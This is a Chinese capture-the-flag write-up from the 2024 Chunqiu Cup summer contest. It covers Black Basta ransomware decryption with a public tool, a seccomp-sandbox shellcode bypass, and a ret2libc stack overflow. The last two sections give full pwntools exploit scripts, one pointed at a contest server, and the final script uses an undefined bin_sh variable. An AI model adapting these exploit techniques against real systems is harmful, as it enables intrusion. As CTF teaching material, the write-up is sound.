2024春秋杯夏季赛


比赛打一半去学逆向啦, awdppwn没打

初探勒索病毒

题目内容:
你服务器上的一张图片被Black Basta勒索病毒给加密了。当你在服务器上还原出该图片后,等待一分钟左右,/flag就会变为可读权限。
(本题下发后会有一个ssh地址、账号密码,选手可通过ssh来访问环境)
(关注微信公众号“勒索病毒头条”,发送关键词“BASTA”可获取该题提示。)

我选择直接获取提示

【2024春秋杯夏季赛】
https://www.nomoreransom.org/zh/decryption-tools.html
搜索BlackBasta,并点击下载。

(如果您还需要进一步的提示,可在本公众号输入“BASTA2”获取。)

【2024春秋杯夏季赛】
sed -i 's/flags/"flags"/' ./decryptblocks.py
export SRL_IGNORE_MAGIC=1
./decryptblocks.py ./banana.jpg.sah28vut5 ./key.block

这题的判断依据是能不能正常访问banana.jpg这个图片,所以把banana.jpg.sah28vut5改成banana.jpg再用上面给的指令解密,图片在/var/www/html目录下

mv ./banana.jpg.sah28vut5 ./banana.jpg
sed -i 's/flags/"flags"/' ./decryptblocks.py
export SRL_IGNORE_MAGIC=1
./decryptblocks.py ./banana.jpg ./key.block

Shuffled_Execution

题目内容:
The Fishmonger found a secured entrance to somewhere...

一道写shellcode的题,创建了一段可读可写可执行区域,写入0x250的数据后开了沙箱并对输入内容进行随机化操作,但是操作长度的判断是通过strlen获取的,所以直接输入\x00即可绕过

int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t len; // rsi
  __int64 v4; // rax
  char *s; // [rsp+28h] [rbp-18h]

  init();
  s = (char *)mmap((void *)0x1337000, 0x1000uLL, 7, 34, -1, 0LL);
  if ( s == (char *)-1LL )
  {
    perror("mmap failed");
    exit(1);
  }
  syscall(0LL, 0LL, 0x1337000LL, 0x250LL);
  len = strlen(s);
  shuffle((__int64)s, len);
  if ( len <= 0xAF )
  {
    sandbox();
    entrance();
    LODWORD(v4) = 0;
  }
  else
  {
    return (int)"Error triggered...";
  }
  return v4;
}·

查看沙箱内容,发现禁用了execve execveat open read readv pread preadv write sendmsg,最后选择用openat preadv2 writev,需要注意的是preadv2 writev的用法

unsigned __int64 sandbox()
{
  __int64 v1; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = seccomp_init(2147418112LL);
  seccomp_rule_add(v1, 0LL, 59LL, 0LL);
  seccomp_rule_add(v1, 0LL, 322LL, 0LL);
  seccomp_rule_add(v1, 0LL, 2LL, 0LL);
  seccomp_rule_add(v1, 0LL, 0LL, 0LL);
  seccomp_rule_add(v1, 0LL, 19LL, 0LL);
  seccomp_rule_add(v1, 0LL, 17LL, 0LL);
  seccomp_rule_add(v1, 0LL, 295LL, 0LL);
  seccomp_rule_add(v1, 0LL, 1LL, 0LL);
  seccomp_rule_add(v1, 0LL, 40LL, 0LL);
  seccomp_load(v1);
  return v2 - __readfsqword(0x28u);
}

示例如下,即preadv2的二参是一个结构体,且这个结构体包含了数据缓冲区地址以及长度,就相当于原来read的二参和三参

#include <unistd.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/uio.h>

#define SYS_preadv2 327

ssize_t preadv2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags) {
    return syscall(SYS_preadv2, fd, iov, iovcnt, offset, flags);
}

int main() {
    // 打开文件
    int fd = open("flag", O_RDONLY);
    if (fd == -1) {
        perror("open");
        exit(EXIT_FAILURE);
    }

    // 准备读取数据的缓冲区
    char buffer[0x50] = {0};

    // 设置读取操作的 iovec 结构体
    struct iovec iov;
    iov.iov_base = buffer;
    iov.iov_len = sizeof(buffer);

    // 使用 preadv2 读取文件数据到缓冲区
    ssize_t bytes_read = preadv2(fd, &iov, 1, 0, 0);
    if (bytes_read == -1) {
        perror("preadv2");
        close(fd);
        exit(EXIT_FAILURE);
    }

    // 输出读取的数据
    write(STDOUT_FILENO, buffer, bytes_read);

    // 关闭文件
    close(fd);
    return 0;
}

最终exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('8.147.128.163', 36703)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

p = b'\x00PP'
shellcode = asm('''
		/* openat(fd=-0x64, file='flag', oflag=0) */
        add rax, 0x62
        mov r12, rax
        mov rsi, rax
        mov rdi, -0x64
        /* call openat() */
        mov rax, 0x101 /* 0x101 */
        syscall
        /* preadv2(vararg_0=3, vararg_1=0x1337090, vararg_2=1, vararg_3=0, vararg_4=0) */
        mov rdi, 3
        mov rdx, 0x1
        add r12, 0x15
        mov rsi, r12
        /* call preadv2() */
        mov rax, 327
        syscall
        /* writev(fd=1, iovec=0x1337090, count=1) */
        mov rdi, 1
        mov rdx, 0x1
        /* call writev() */
        mov rax, 0x14
        syscall
''')

p += shellcode + b'\x00' * 0x10 + b'flag\x00' + b'\x00' * 0x10 + p64(0x1337090) + p64(0x100)
r.sendlineafter(b'entrance', p)

r.interactive()

stdout

先检查保护

Arch:     amd64-64-little
   RELRO:    Partial RELRO
   Stack:    No canary found
   NX:       NX enabled
   PIE:      No PIE (0x3ff000)

main函数里存在栈溢出,溢出长度刚好是一个地址

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  init();
  puts("where is my stdout???");
  read(0, buf, 0x60uLL);
  return 0;
}

重点是init函数,输出被设置为全缓冲区,只有当缓冲区被填满时才会进行I/O操作

void __fastcall init()
{
  setvbuf(stdout, 0LL, 0, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
}

也可以通过以下方式进行手动刷新缓冲区从而输出缓冲区中的内容:

  • 显式调用fflush函数
  • 流被关闭(调用fclose
  • 程序正常结束(调用exit

程序其他部分包括vuln extendvuln目的是进行更大长度的栈溢出,而extend是为了向输出缓冲区填入更多内容加快填满输出缓冲区,因为直接通过输出一个地址来填满输出缓冲区会由于连接不稳定而无法打通远程

ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  return read(0, buf, 0x200uLL);
}
__int64 extend()
{
  __int64 result; // rax
  char s[8]; // [rsp+0h] [rbp-30h] BYREF
  __int64 v2; // [rsp+8h] [rbp-28h]
  __int64 v3; // [rsp+10h] [rbp-20h]
  __int64 v4; // [rsp+18h] [rbp-18h]
  int v5; // [rsp+28h] [rbp-8h]
  int v6; // [rsp+2Ch] [rbp-4h]

  puts("Just to increase the number of got tables");
  *(_QWORD *)s = '!olleh';
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0LL;
  v6 = strlen(s);
  if ( strcmp(s, "hello!") )
    exit(0);
  puts("hello!");
  srand(1u);
  v5 = 0;
  result = (unsigned int)(rand() % 16);
  v5 = result;
  return result;
}

所以本题的思路就是先利用extend填满输出缓冲区,再ret2libcexp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('39.106.48.123', 31448)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

vuln = 0x40125D
ret = 0x000000000040101a
p = b'a' * 0x58 + p64(vuln)
r.send(p)

pop_rdi_ret = 0x00000000004013d3
pop_rsi_r12_ret = 0x00000000004013d1
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
extend = 0x401287

p1 = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
p = b'a' * 0x28 + p64(ret) + p64(extend) * 54 + p1 + p64(vuln)
for i in range(3):
    r.send(p)

libc = ELF('./2.31/libc-2.31.so')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x84420
pop_rdx_ret = 0x0000000000142c92 + libc_base
execve = libc.sym['execve'] + libc_base
p = b'a' * 0x28 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(pop_rdx_ret) + p64(0) + p64(pop_rsi_r12_ret) + p64(0) * 2 + p64(execve)
r.send(p)

r.interactive()

  目录